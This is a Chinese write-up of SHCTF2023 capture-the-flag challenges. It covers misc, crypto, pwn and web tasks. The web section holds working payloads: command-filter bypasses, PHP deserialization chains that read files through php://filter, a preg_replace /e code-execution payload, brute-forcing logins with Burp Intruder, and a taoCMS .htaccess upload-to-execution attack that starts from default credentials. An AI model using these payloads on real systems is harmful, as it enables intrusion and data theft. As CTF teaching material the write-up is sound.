SHCTF2023-校外赛道

Week1

Misc

[WEEK1]ez-misc

下载之后获得附件,打开01game,把二进制转换为图片,使用工具ToolsFxhttps://github.com/Leon406/ToolsFx/wiki
它的下载地址https://leon.lanzoub.com/b0d9av2kb?pwd=52pj
SHCTF2023-校外赛道_第1张图片
image.png
SHCTF2023-校外赛道_第2张图片
然后使用CQR.exe扫码,获得hit_k1sme4_4_fun,这个就是另一个flag文件的解压密码
SHCTF2023-校外赛道_第3张图片
解压之后用记事本打开,看见PK两个字,一眼顶真为zip压缩包,修改后缀名即可
SHCTF2023-校外赛道_第4张图片
又是一个加密了的压缩包,但是有压缩包备注hint,二进制转ASCII字符串获得rockyou
image.png
SHCTF2023-校外赛道_第5张图片
参考其他师傅博客发现rockyou是kali里面自带的字典,我们需要用这个字典来爆破这个压缩包
https://blog.csdn.net/zegeai/article/details/122660540?fromshare=blogdetail
http://t.csdnimg.cn/l92aN
SHCTF2023-校外赛道_第6张图片

  • /usr/share/wordlists/目录下带了rockyou的字典。2009年一家名叫rockyou的公司遭到了黑客攻击,他们的密码列表以明文存储,黑客下载了所有的密码列表并且公开。rockyou.txt包含14341564个唯一密码,用于32603388个帐户。

由于我在kali里面爆破不出来,所以我直接将字典复制到Windows上面用ARCHPR来进行爆破,之后得到解压密码palomino
image.png
SHCTF2023-校外赛道_第7张图片
解压打开后得到一大串字符,那么我们采用字频分析的方法来获取flag
SHCTF2023-校外赛道_第8张图片
SHCTF2023-校外赛道_第9张图片
SHCTF2023-校外赛道_第10张图片

[WEEK1]message

附件打开之后是一串十六进制字符串,直接十六进制转ASCII即可获得flag

0001000D91683106019196F40008C26211002072B975915730671B54114F60000A000A592982B15C065265843D8A938A00000A000A5E8A9AA453D883525730000A000A91527CBE518D6E1751656CEA75D5000A000A6C899ED852305BF94E0D8D77000A000A8FD94E0053CC624B535191195230002062B14F4F4F6000530048004300540046007B00620061003900370038003400300035002D0062003100630038002D0038003400370063002D0038006500360039002D006600360032003100370037006500340063003000380037007D

SHCTF2023-校外赛道_第11张图片
SHCTF2023-校外赛道_第12张图片

[WEEK1]签到题

SHCTF2023-校外赛道_第13张图片

Wm14aFozdDBhR2x6WDJselgyWnNZV2Q5

两次base64解码之后获得flag
SHCTF2023-校外赛道_第14张图片

[WEEK1] 真的签到

SHCTF2023-校外赛道_第15张图片
SHCTF2023-校外赛道_第16张图片

[WEEK1]可爱的派蒙捏

SHCTF2023-校外赛道_第17张图片
binwalk -e 分离图片,获得两个txt文件,里面都是一大串字符,对他们进行比较,找到不同之处即可获得flag
SHCTF2023-校外赛道_第18张图片

方法一:010editer

使用010editer进行文件比较,选择工具–>比较文件
SHCTF2023-校外赛道_第19张图片
SHCTF2023-校外赛道_第20张图片
发现不同之处连起来就是flag{
那么我们把它们一个个提取出来拼好就是flag了
SHCTF2023-校外赛道_第21张图片

方法二,使用在线网站https://text-compare.com/

也是一样的效果,把它们一个个提取出来拼好就是flag了
SHCTF2023-校外赛道_第22张图片

[WEEK1]请对我使用社工吧

SHCTF2023-校外赛道_第23张图片
where.jpg
SHCTF2023-校外赛道_第24张图片
bing一下
SHCTF2023-校外赛道_第25张图片
找到这个https://www.lottery.gov.cn/xwzx/hy/20220513/10017006.html
发现楼梯结构一致,是山东东营的大学附近

找到这个https://zhuanlan.zhihu.com/p/411972120
SHCTF2023-校外赛道_第26张图片
flag为 flag{山东省_东营市_东营区_中国石油大学}

[WEEK1]Steganography

SHCTF2023-校外赛道_第27张图片
SHCTF2023-校外赛道_第28张图片
猜测密码需要从图片里面找。用010editer打开第一张图片,在文件尾部发现base64编码,解码之后获得一半的压缩包密码,少了五个字符
SHCTF2023-校外赛道_第29张图片
SHCTF2023-校外赛道_第30张图片
那么另一半就在另一张图片里面,发现它有Exif信息,右键图片->点击属性->点击详细属性,即可发现残缺的5个字符
SHCTF2023-校外赛道_第31张图片
SHCTF2023-校外赛道_第32张图片
SHCTF2023-校外赛道_第33张图片
把它们合并起来12ercsxqwed909jk就是flag压缩包的解压密码,解压之后就可以获得flag
SHCTF2023-校外赛道_第34张图片
SHCTF2023-校外赛道_第35张图片

[WEEK1]也许需要一些py

SHCTF2023-校外赛道_第36张图片
先解压缩包的备注,是一串摩斯密码,然后它的小写就是flag.txt的解压密码this1sy0ukey
SHCTF2023-校外赛道_第37张图片
SHCTF2023-校外赛道_第38张图片
它说它不是真的flag,那么就看一下压缩包里的另外一个flag文件
发现PNG标志IHDR,但是缺少文件头89504E47,然后通过修改后缀保存为png图片
SHCTF2023-校外赛道_第39张图片
SHCTF2023-校外赛道_第40张图片
图片是用来校验最终flag的MD5值是否正确的,因为hint说:md5值是去掉flag{}的
SHCTF2023-校外赛道_第41张图片
SHCTF2023-校外赛道_第42张图片
需要写Python脚本对flag的值进行大小写枚举

import itertools
import hashlib

s = "pNg_and_Md5_SO_GreaT"
md5_hash = "63e62fbce22f2757f99eb7da179551d2"
for c in itertools.product([0, 1], repeat=len(s)):
    tmp = ""
    for i in range(len(s)):
        if c[i]:
            tmp += s[i].upper()
        else:
            tmp += s[i].lower()
    if hashlib.md5(tmp.encode()).hexdigest() == md5_hash:   # 如果这个的字符串的MD5值等于63e62fbce22f2757f99eb7da179551d2
        print("匹配成功:", tmp)															# 那么就输出它
        break
else:
    print("未找到匹配的字符串")

最终获得正确flag
image.png
SHCTF2023-校外赛道_第43张图片

Web

[WEEK1]生成你的邀请函吧~

SHCTF2023-校外赛道_第44张图片

API:url/generate_invitation  
Request:POST application/json  
Body:{  
"name": "Yourname",  
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

还好之前做过moeCTF2023的Cookie那题,知道这个要用postman软件来做,那我们对着题目提示来操作

  1. new一个POST请求,然后把[http://112.6.51.212:31197/generate_invitation](http://112.6.51.212:31197/generate_invitation)填上去
  2. 选择body
  3. 选择row原始数据
  4. 复制Body进去,注意要有大括号{}
  5. 选择json格式
  6. send发送获得邀请函,最下面就是flag

SHCTF2023-校外赛道_第45张图片

[WEEK1]babyRCE

SHCTF2023-校外赛道_第46张图片
题目代码:



  $rce = $_GET['rce'];
if (isset($rce)) {
  if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
    system($rce);
  }else {
    echo "hhhhhhacker!!!"."\n";
  }
} else {
  highlight_file(__FILE__);
}

它没有过滤ls命令,我们先查看一下根目录,但由于它过滤了空格,所以我们使用payload:?rce=ls${IFS}/
SHCTF2023-校外赛道_第47张图片
在根目录发现flag文件,
SHCTF2023-校外赛道_第48张图片
但是由于cat等命令被过滤了,这里我们使用**uniq**:报告或删除文件中重复的行
并且flag和通配符 * 号也被过滤了,但是还有通配符 ? 号可以使用,那么我们构造payload:/?rce=uniq${IFS}/fla?即可获得flag
SHCTF2023-校外赛道_第49张图片

[WEEK1]飞机大战

SHCTF2023-校外赛道_第50张图片
打飞机小游戏,它说分数要大于99999就可以拿到flag,那我们想办法绕过它
SHCTF2023-校外赛道_第51张图片SHCTF2023-校外赛道_第52张图片SHCTF2023-校外赛道_第53张图片
首先Ctrl + U 查看源代码,查看[js/main.js](http://112.6.51.212:31975/js/main.js)
SHCTF2023-校外赛道_第54张图片
这里说 如果scores < 99999)会弹出下面这些东西,就是刚刚的提示,没什么用,接着看其他的
SHCTF2023-校外赛道_第55张图片

方法一:

这里说如果scores > 99999就会调用won()胜利函数
SHCTF2023-校外赛道_第56张图片
在js代码里发现won胜利函数,如果胜利,那么就会alert弹出以下东西,我们直接复制,把它放到console控制台运行一下,即可获得flag
SHCTF2023-校外赛道_第57张图片
SHCTF2023-校外赛道_第58张图片

方法二:

我们也可以直接在console控制台直接修改scores的值,让它在游戏没结束之前大于99999,在控制台先输入scores = 100000,先别按回车确定,点击开始游戏再按回车发送scores = 100000的值,然后就可以获得flag
SHCTF2023-校外赛道_第59张图片
SHCTF2023-校外赛道_第60张图片

[WEEK1]登录就给flag

SHCTF2023-校外赛道_第61张图片
SHCTF2023-校外赛道_第62张图片
SHCTF2023-校外赛道_第63张图片
SHCTF2023-校外赛道_第64张图片
这题首先想到爆破用户名密码的方法,先试一下弱口令登录admin管理员账号,例如密码为admin888、123456、password之类的,谁知道我还没爆破就被我弱口令试出来了
SHCTF2023-校外赛道_第65张图片
SHCTF2023-校外赛道_第66张图片
那么正常的爆破为使用BurpSuite来进行,抓包之后发到Intruder攻击器
SHCTF2023-校外赛道_第67张图片
选择Cluster bomb集束炸弹模式,可以同时对两个变量进行爆破,我们给账号和密码加上$符号,表示它们两个是变量
关于Burp Suite中intruder爆破模块四种模式的区别,参考其他师傅的博客http://t.csdnimg.cn/ac0Cl
关于Burp Suite中intruder爆破模块四种模式的区别对于bp爆破模块中的四种模式,字面意思加上英语翻译过来实在太抽象了。那就结合具体实例解释一下

1. Sniper(狙击手)

顾名思义,就是一个一个的来,就跟98K一样,一ju一个准。也是最基础的一种模式。
添加了一个参数的话,并且假设payload有500个的话,那就执行500次,

如果添加了两个参数的话,就会挨着来,第一个参数开始爆破时,第二个不变,如此这样,会进行500+500此 总共1000次爆破。

2. Battering ram(攻城锤)

顾名思义,和狙击手差不多,一个参数的话都一样,只不过如果添加了两个参数的话,就一起进行爆破。那么两个参数爆破时候的值肯定就是一样的了。那么就只会进行500次爆破。

3. Pitchfork(草叉模式)

此模式下如果只添加了一个参数的话,会报错
SHCTF2023-校外赛道_第68张图片
添加了两个参数的话 ,要求添加两个payload
pl1:1,2
pl2:3,4
那么第一爆破为 1,3
而二次爆破为2,4
如果两个payload行数不一致的话,取最小值进行测试。所以爆破的次数取两个中最小的为准。

4. Cluster bomb(集束炸弹)

同pitchfork,起码两个参数,但此操作会计算两个的payload 的笛卡儿积。
比如pl1:1,2,3
pl2:4,5,6
那么第一次爆破为 1,4
第二次为1,5
以此类推 1,6
2,4
2,5.。。。。。。
SHCTF2023-校外赛道_第69张图片
然后设置payloads,首先设置第一个参数:账号的变量,选择简单列表模式,加载username字典,去掉特殊字符URL编码的√
SHCTF2023-校外赛道_第70张图片
然后设置第二个变量,和上面一样,加载password字典即可,然后点击右上角的Start attack开始攻击
SHCTF2023-校外赛道_第71张图片
发现账号admin和密码password的长度不一样,而且响应中还有302跳转重定向,那么它们就是账号密码了
SHCTF2023-校外赛道_第72张图片
SHCTF2023-校外赛道_第73张图片

[WEEK1]1zzphp

SHCTF2023-校外赛道_第74张图片
SHCTF2023-校外赛道_第75张图片

  • 需要GET传参num和POST传参c_ode,

num用传数组绕过?num[]=1因为preg_match无法处理数组,preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句

  • 而c_ode的值需要为2023SHCTF但是又不能包含SHCTF
  • preg_match(‘/.+?SHCTF/is’, $code) 检查 code 是否包含 “SHCTF”,如果包含,则返回 “no touch!”。
  • stripos($code,‘2023SHCTF’) === FALSE 检查 code 是否包含 “2023SHCTF”,如果不包含,则返回 “what do you want”。
  • 最后,如果以上条件都通过,它会打印出 $flag 的值。

参考其他师傅的博客2023SHCTF之web的wp | yyjccc的博客,还有P牛的文章PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌、Code Breaking 挑战赛 Writeup
看p牛的文章我们看到了问题所在,pcre.backtrack_limit这个配置决定了在php中,正则引擎回溯的层数。而这个值默认是1000000.
SHCTF2023-校外赛道_第76张图片
而什么是正则引擎回溯呢?
在正则中.*表示匹配任意字符任意位,也就是说他会匹配所有的字符,而正则引擎在解析正则的时候必然是逐位匹配的,对于

这段代码来说

首先<匹配<
然后?匹配?
然后.*会直接匹配到结尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
紧接着匹配[(`;?>],问题出现了,上一步匹配到了结尾,后面没有满足要求的符号了。

从这里开始正则引擎就开始逐渐回溯,知道符合要求的;出现为止

但很显然,服务端不可能不做任何限制,不然如果post一个无限长的数据,那么服务端就会浪费太多的资源在这里,所以就有了pcre.backtrack_limit,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。
回到题目来看,如果能够跳过这句语句,我们就能上传任意文件内容了!
Python脚本发送1000000个s,然后在后面加上2023SHCTF就能符合if判断,然后就能让它echo $flag

import requests
url="http://112.6.51.212:30932/"
data={
    "c_ode":"s"*1000000+"2023SHCTF"
}
res=requests.post(url+"?num[]=1",data).text
print(res)

SHCTF2023-校外赛道_第77张图片

[WEEK1]ez_serialize

SHCTF2023-校外赛道_第78张图片
题目代码:
SHCTF2023-校外赛道_第79张图片


  highlight_file(__FILE__);

class A{
  public $var_1;

  public function __invoke(){
    include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
  {
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
      echo "hacker";           
    }
  }

}
class C{
  public $var;
  public $z;
  public function __toString(){
    return $this->z->var;
  }
}

class D{
  public $p;
  public function __get($key){
    $function = $this->p;
    return $function();
  }  
}

if(isset($_GET['payload']))
{
  unserialize($_GET['payload']);
}
  ?>

需要使用PHP反序列化,POP链的知识
参考其他师傅博客:2023SHCTF之web的wp | yyjccc的博客
1.最外层是B类的对象,触发__wakeup方法,
2.q属性是C类的实例对象,触发__toString方法
3.C中属性var是D类的实例对象,触发__get方法
4.D中的属性p是A类的实例对象,触发__inovke方法
5.A中属性var_1是我们要包含的文件;最后利用文件包含漏洞
这里利用php://filter和文件包含漏洞来读取flag.php文件
编写PHP序列化代码,获得序列化字符串后,作为GET参数payload发送过去给题目,触发反序列化,从而执行我们的恶意代码


class A
{
    public $var_1;
}
class B
{
    public $q;
}
class C
{
    public $var;
    public $z;
}
class D
{
    public $p;
}
$b = new B();
$c = new C();
$d = new D();
$a = new A();
$a->var_1 = "php://filter/read=convert.base64-encode/resource=flag.php";
$d->p = $a;
$c->z = $d;
$b->q = $c;
echo serialize($b);

执行上面代码得到序列化字符串
SHCTF2023-校外赛道_第80张图片

O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

SHCTF2023-校外赛道_第81张图片
然后解码base64即可获得flag
SHCTF2023-校外赛道_第82张图片

[WEEK1]ezphp

SHCTF2023-校外赛道_第83张图片
SHCTF2023-校外赛道_第84张图片
题目代码:


error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>
it is begin

preg_replace /e模式的命令执行漏洞深入研究preg_replace与代码执行 | Mochazz’s blog
2023SHCTF之web的wp | yyjccc的博客
preg_replace这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。
总之,/e模式下正则表达式代码执行(这里可以用在php的一句话木马中)
解析题目代码:
pattern为匹配模式,code为匹配字符串,\1 其实是一个引用,指向code参数
上payload
SHCTF2023-校外赛道_第85张图片
code为格式{${要执行的代码}}(官方payload就是这样的,我也没深入研究,先拿来用) 只要匹配成功就能执行code代码,所以pattern为(.*),意为匹配所有。
匹配成功后执行代码,显示phpinfo页面
然后Ctrl + F 搜索flag即可
SHCTF2023-校外赛道_第86张图片

Crypto

[WEEK1]Crypto_Checkin

SHCTF2023-校外赛道_第87张图片

QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#>

使用随波逐流工具(http://www.1o1o.xyz/),解开base85(b),获得一串base64
SHCTF2023-校外赛道_第88张图片
然后解base64–>base32–>base16(base16就是Hex十六进制)即可获得flag
SHCTF2023-校外赛道_第89张图片

[WEEK1]残缺的md5

SHCTF2023-校外赛道_第90张图片

苑晴在路边捡到了一张纸条,上面有一串字符串:KCLWG?K8M9O3?DE?84S9
问号是被污染的部分,纸条的背面写着被污染的地方为大写字母,还给了这串字符串的md5码值:F0AF????B1F463????F7AE???B2AC4E6
请提交完整的md5码值并用flag{}包裹提交

使用Python脚本爆破MD5,脚本来源于[http://t.csdnimg.cn/0YWJk](http://t.csdnimg.cn/0YWJk)

import re
from hashlib import md5

list_uppercase = [chr(i) for i in range(65, 91)]  # 大写
# list_lowercase = [chr(i) for i in range(97, 123)]  # 小写
# list_digits = [chr(i) for i in range(48, 58)]  # 数字
for i in list_uppercase:
  for j in list_uppercase:
    for k in list_uppercase:
      key = "KCLWG%sK8M9O3%sDE%s84S9" % (i, j, k)			# %s匹配的是i,j,k
      sign = md5(key.encode('utf8')).hexdigest().upper()
      if re.match(r"F0AF.{4}B1F463.{4}F7AE.{3}B2AC4E6", sign, re.I):   #{}里面匹配的是?数量
        print(sign)
        break

SHCTF2023-校外赛道_第91张图片
获得F0AF1443B1F463EAFFF7AEBB8B2AC4E6就是flag{}

[WEEK1]凯撒大帝

SHCTF2023-校外赛道_第92张图片
用随波逐流,选择凯撒解密模式即可
SHCTF2023-校外赛道_第93张图片

[WEEK1]进制

SHCTF2023-校外赛道_第94张图片

好熟悉的进制,但不知道加密了几层
3636366336313637376236313638363636623661366336383662363136383764

用Cyberchef(https://ctf.mzy0.com/CyberChef3/)或者随波逐流进行十六进制转ASCII两次解码即可
SHCTF2023-校外赛道_第95张图片

[WEEK1]okk

SHCTF2023-校外赛道_第96张图片

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook.
Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. 

用网站(https://www.splitbrain.org/services/ook)进行okk解密
SHCTF2023-校外赛道_第97张图片

[WEEK1]熊斐特

SHCTF2023-校外赛道_第98张图片

熊斐特博士发现了一种新的密码。
uozt{zgyzhs xrksvi}

埃特巴什码(Atbash Cipher)是由熊斐特博士发现的密码,其最后一个字母代表第一个字母,倒数第二个字母代表第二个字母,在公元一世纪的艾赛尼/萨多吉/拿撒勒教派的经文中用以隐藏姓名。
SHCTF2023-校外赛道_第99张图片

[WEEK1]黑暗之歌

SHCTF2023-校外赛道_第100张图片

密文:

⠴⡰⡭⡳⠴⡰⡭⡰⡷⡲⡢⡩⡭⡡⠯⡩⡭⡡⡺⡩⡭⡡⠳⡩⡭⡡⡺⡩⡭⡡⡶⡩⡭⡡⡶⡩⡭⡡⡲⡩⡭⡡⡺⡩⡭⡡⠯⡩⡧⡊⡢⡩⡭⡡⠯⡩⡭⡡⡺⡃⡰⠫⡋⡚⡲⡍⡋⡮⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡃⡴⡵⡋⡁⡬⡵⡋⡁⡬⡵⡋⡁⡬⡳⡋⠲⠴⡯⡃⡗⠴⡰⡭⡴⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡩⡭⡡⡺⡩⡭⡡⡺⡩⡭⡡⠳⡩⡧⡊⡢⡩⡭⡡⠯⡩⡧⡊⡢⡃⡴⡵⡋⡚⡱⠫⡋⡚⡱⠫⡋⡚⡲⠵⠲⡺⠰⠽

盲文解密(http://www.atoolbox.net/Tool.php)
SHCTF2023-校外赛道_第101张图片
Base64解密获得一串音符
image.png
音符解密(https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue)之后获得flag
SHCTF2023-校外赛道_第102张图片

[WEEK1]迷雾重重

SHCTF2023-校外赛道_第103张图片

题目描述:

morse?ASCII?


密文:

0010 0100 01 110 1111011 11 111 010 000 0 001101 00 000 001101 0001 0 010 1011 001101 0010 001 10 1111101

把0替换为为 .
把1替换为 -
然后解Morse密码即可
SHCTF2023-校外赛道_第104张图片

[WEEK1]难言的遗憾

SHCTF2023-校外赛道_第105张图片

题目描述:
我们本可以早些进入信息化时代的,但是清政府拒不采纳那份编码规则。 (注:flag为中文,使用flag{}包裹提交)



密文:

000111310008133175592422205314327609650071810649

经过一番查询,知道了这原来是中文电码
附录:
中文电码表采用四位阿拉伯数字作代号,从0001到9999按四位数顺序排列,用四位数字表示最多一万个汉字、字母和符号。汉字先按部首,后按笔划排列。字母和符号放到电码表的最尾。后来因一万个汉字不能应付户籍管理的要求,又有第二字面汉字的出现。在香港,两个字面都采用同一编码,由输入员人手选择字面;在台湾,第二字面的汉字在开首补上“1”字,变成5个数字的编码。
然后我们可以查一下中文电码在线解密工具然后对这一串中文电码进行解密就OK了。
SHCTF2023-校外赛道_第106张图片

[WEEK1]小兔子可爱捏

题目描述:宇宙的终极答案是什么?


U2FsdGVkX1/lKCKZm7Nw9xHLMrKHsbGQuFJU5QeUdASq3Ulcrcv9

你可能会需要一把钥匙,钥匙就是问题的答案。

Rabbit算法加密解密(http://www.jsons.cn/rabbitencrypt/)
SHCTF2023-校外赛道_第107张图片
那么key是42
SHCTF2023-校外赛道_第108张图片

[WEEK1]what is m

# 这串神秘的数字怎么恢复成flag呢

from Crypto.Util.number import bytes_to_long
from secret import flag

m = bytes_to_long(flag)
print("m =",m)

# m = 7130439814055615102101958096751138079253151520120480188560567777253309012488201883049364655864092765095873094517912465648582281288647900157010093786636800929658326440954514280422661996036477

问ChatGPT(https://chat.openai.com/)
SHCTF2023-校外赛道_第109张图片

from Crypto.Util.number import long_to_bytes

m = 7130439814055615102101958096751138079253151520120480188560567777253309012488201883049364655864092765095873094517912465648582281288647900157010093786636800929658326440954514280422661996036477

# 将长整数m还原为字节串
flag_bytes = long_to_bytes(m)

# 将字节串解码为字符串
flag_str = flag_bytes.decode('utf-8')

print("Flag =", flag_str)

运行脚本获得flagflag{7heRE_aRE_SeVeR4I_41TERnaT1veS_TO_tHE_I0NG_to_8ytE5_FUncTi0n_fdAc21G4aBFA}
image.png

[WEEK1]really_ez_rsa

题目附件:

from Crypto.Util.number import getPrime, bytes_to_long

e = 65537
m = b''

p = getPrime(128)
q = getPrime(128)
n = p * q
m = bytes_to_long(m)
c = pow(m, e, n)

print("p =", p)
print("q =", q)
print("c =", c)
print("e =", e)

# p = 217873395548207236847876059475581824463
# q = 185617189161086060278518214521453878483
# c = 6170206647205994850964798055359827998224330552323068751708721001188295410644
# e = 65537

使用风二西(风大)工具解https://space.bilibili.com/317479700
SHCTF2023-校外赛道_第110张图片
SHCTF2023-校外赛道_第111张图片
SHCTF2023-校外赛道_第112张图片
SHCTF2023-校外赛道_第113张图片
SHCTF2023-校外赛道_第114张图片

PWN

[WEEK1]nc

SHCTF2023-校外赛道_第115张图片

[WEEK1]hard nc

SHCTF2023-校外赛道_第116张图片
base64解码获得flag2 57-b311-3f7355cd7c59}
接下来回到根目录cd /
查看全部文件,包括隐藏文件 ls -la,在Linux中,前面有个 . 的就是隐藏文件
SHCTF2023-校外赛道_第117张图片
cat .gift获得flag1
SHCTF2023-校外赛道_第118张图片
拼起来就是 flag{f671ebbc-5b84-4457-b311-3f7355cd7c59}

Week2

Crypto

[WEEK2]factorizing_n

SHCTF2023-校外赛道_第119张图片

Web

[WEEK2]no_wake_up

SHCTF2023-校外赛道_第120张图片
SHCTF2023-校外赛道_第121张图片

<?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']);

这道题目考察PHP反序列化漏洞和文件包含漏洞
这个代码存在一个明显的PHP反序列化漏洞,它通过 unserialize 函数来处理 $_GET[‘try’] 的数据。恶意用户可以构造一个特定的序列化payload来执行任意的PHP代码。
以下是解题思路和一个可能的解题脚本:
解题思路

  1. 我们需要构造一个payload,该payload能够执行任意PHP代码。首先,我们可以创建一个自定义类(例如 flag 类),并在该类的 __destruct 方法中执行代码。
  2. 由于代码中有一个条件检查 t h i s − > u s e r n a m e = " a d m i n " ∗ ∗ ,我们需要确保 ∗ ∗ this->username = "admin"**,我们需要确保 ** this>username="admin",我们需要确保this->username 变量被设置为 “admin”,这样条件检查就会通过。我们可以在构造payload时设置这个属性。
  3. 最后,我们需要将payload进行序列化,并将它传递给 $_GET[‘try’]
<?php
class flag {
    public $username;
    public $code;
}

// 创建一个flag对象,设置username属性为"admin",code属性为要执行的PHP代码
$payload = new flag();
$payload->username = "admin";
$payload->code = "php://filter/read=convert.base64-encode/resource=flag.php"; // 替换为要执行的PHP代码

// 序列化payload
$serialized_payload = serialize($payload);


// 构造GET请求,将payload传递给try参数
$url = "http://112.6.51.212:31126/wakeup.php?try=" . urlencode($serialized_payload);

// 发送GET请求
$response = file_get_contents($url);

echo $response;
?>

请将上述脚本中的 “your_php_code_here” 替换为你要执行的PHP代码。然后将脚本发送到目标服务器,该服务器上运行着包含漏洞的代码。当目标服务器处理请求时,它将反序列化payload,并由于设置了 “admin” 作为用户名,条件检查将通过,从而执行你指定的PHP代码。

如果报错:Warning: include(whoami): failed to open stream: No such file or directory in /var/www/html/wakeup.php on line 11

报错信息表明PHP脚本尝试包含名为 “whoami” 的文件,但未找到该文件。这是因为你的payload中的 $payload->code 属性被设置为 “whoami”,而在PHP中,include 或 include_once 函数用于包含文件。

所以我们使用参数:php://filter/read=convert.base64-encode/resource=flag.php
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
SHCTF2023-校外赛道_第122张图片
SHCTF2023-校外赛道_第123张图片

[WEEK2]EasyCMS

SHCTF2023-校外赛道_第124张图片
CMS是什么?
CMS是英语Content Management System的缩写,按英语的字面翻译就是内容管理系统,顾名思义,它主要是为了方便发布网络内容而存在的一体化Web管理系统。

进去后并未发现利用点
SHCTF2023-校外赛道_第125张图片
搜索之后taoCMS之后得知是CVE-2022-25578
参考博客:http://t.csdnimg.cn/q9lMG和http://t.csdnimg.cn/5bAUJ

taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码

0x1应用简介
taoCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小的功能完善的基于php+SQLite/Mysql的CMS。体积小(仅180Kb)速度快,包含文件管理、数据采集、Memcache整合、用户管理等强大功能,跨平台运行,支持SAE、BAE云服务,阿里云虚拟主机。代码手写采用严格的数据过滤,保证服务器的安全稳定!

0x2漏洞原理
taoCMS是国内最小功能完善的CMS网站内容管理系统,它在文件管理中由于后台管理可以直接修改.htaccess文件,虽然他是采用白名单上传机制,但是在可以修改.htaccess的条件下存在远程任意代码执行漏洞。

访问网站后台url/admin/,登录账号和密码默认是admin:tao
SHCTF2023-校外赛道_第126张图片
其实进入后台后,按照说的应该就是修改图片中位置进行编辑.htaccess文件,新增以下内容:AddType application/x-httpd-php .jpg,然后在上传图片再进行解析

